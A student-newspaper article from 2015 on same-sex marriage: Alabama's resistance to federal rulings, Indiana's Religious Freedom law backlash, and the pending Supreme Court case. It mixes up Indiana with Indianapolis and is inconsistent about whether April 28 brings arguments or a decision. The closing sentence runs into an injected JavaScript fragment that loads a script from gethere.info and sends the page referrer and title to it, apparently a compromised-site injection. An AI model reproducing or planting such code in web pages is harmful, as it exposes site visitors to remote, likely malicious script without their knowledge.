Same-Sex Marriage

The Uphill Battle for Equality in the United States

Destiny Vasquez, Cactus Writer

Alabama and Indianapolis have been at the forefront of controversy in the early months of 2015. Coincidentally, the United States Supreme Court will be making a decision April 28th on whether or not it is constitutional to ban same sex marriage at all. With all that is happening, it’s hard to put into perspective what will come of this issue. However, one thing is clear: regardless of what happens, the people will not back down. Some states have already challenged the law, and taken the issue into their own hands.

According to the New York Times, The Alabama Supreme Court issued a ruling last month challenging the federal courts decision that the ban on same sex marriage was unconstitutional and telling “all probate judges to refuse to issue licenses” to same sex couples. Not long after that decision, Judge Davis of Mobile County in Alabama “shut down all marriage-license operations to avoid running afoul of either order,” which denied anyone the right to marry in the state. On March 23rd, Alabama Supreme Court chief Justice Roy Moore held a rally in the Texas capitol against same sex marriage, and encouraged Texas officials not to let the federal government dictate their state’s laws and to defend the Texas marriage amendment that opposes same sex marriage.

According to CNN, Gov. Mike Pence of Indiana, signed into law a law that allows businesses to turn away gay and lesbian customers in the name of ‘Religious Freedom.’ This law caused such an uproar that many major corporations were threatening to pull out from the state and host their events elsewhere. With all of the backlash caused by the signing of such a bill, the state moved quickly to amend it so that it would “remove fears that it would allow businesses to discriminate against gays and lesbians,” as reported USA Today. Although many agree with the changes made to the bill, one major company (Angie’s List) felt the “fix is insufficient” and provides “no repeal of RFRA (religious Freedom and Restoration Act), and no end to discrimination of homosexuals in Indiana,” as USA Today stated in a recent article about the situation.

Perhaps the most interesting news for the LGBT community is that, on April 28th, the U.S. Supreme Court will hear the oral arguments presented by both sides of the gay marriage scale. The court will then make an official decision on whether same-sex marriage bans are, in fact, prohibited by the U.S. Constitution.

When the Supreme Court hands down its official decision on April 28, we will, in effect, have an absolute law. However, in all likelihood, it will still be a law that may be challenged from both sides despite the outcome. Regardless of which side prevails on the 28th, it does not mean people will stop fighting for what they believe in, but it does mean that this country is getting somewhere. Whether it is a step forward or backward is up to you.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;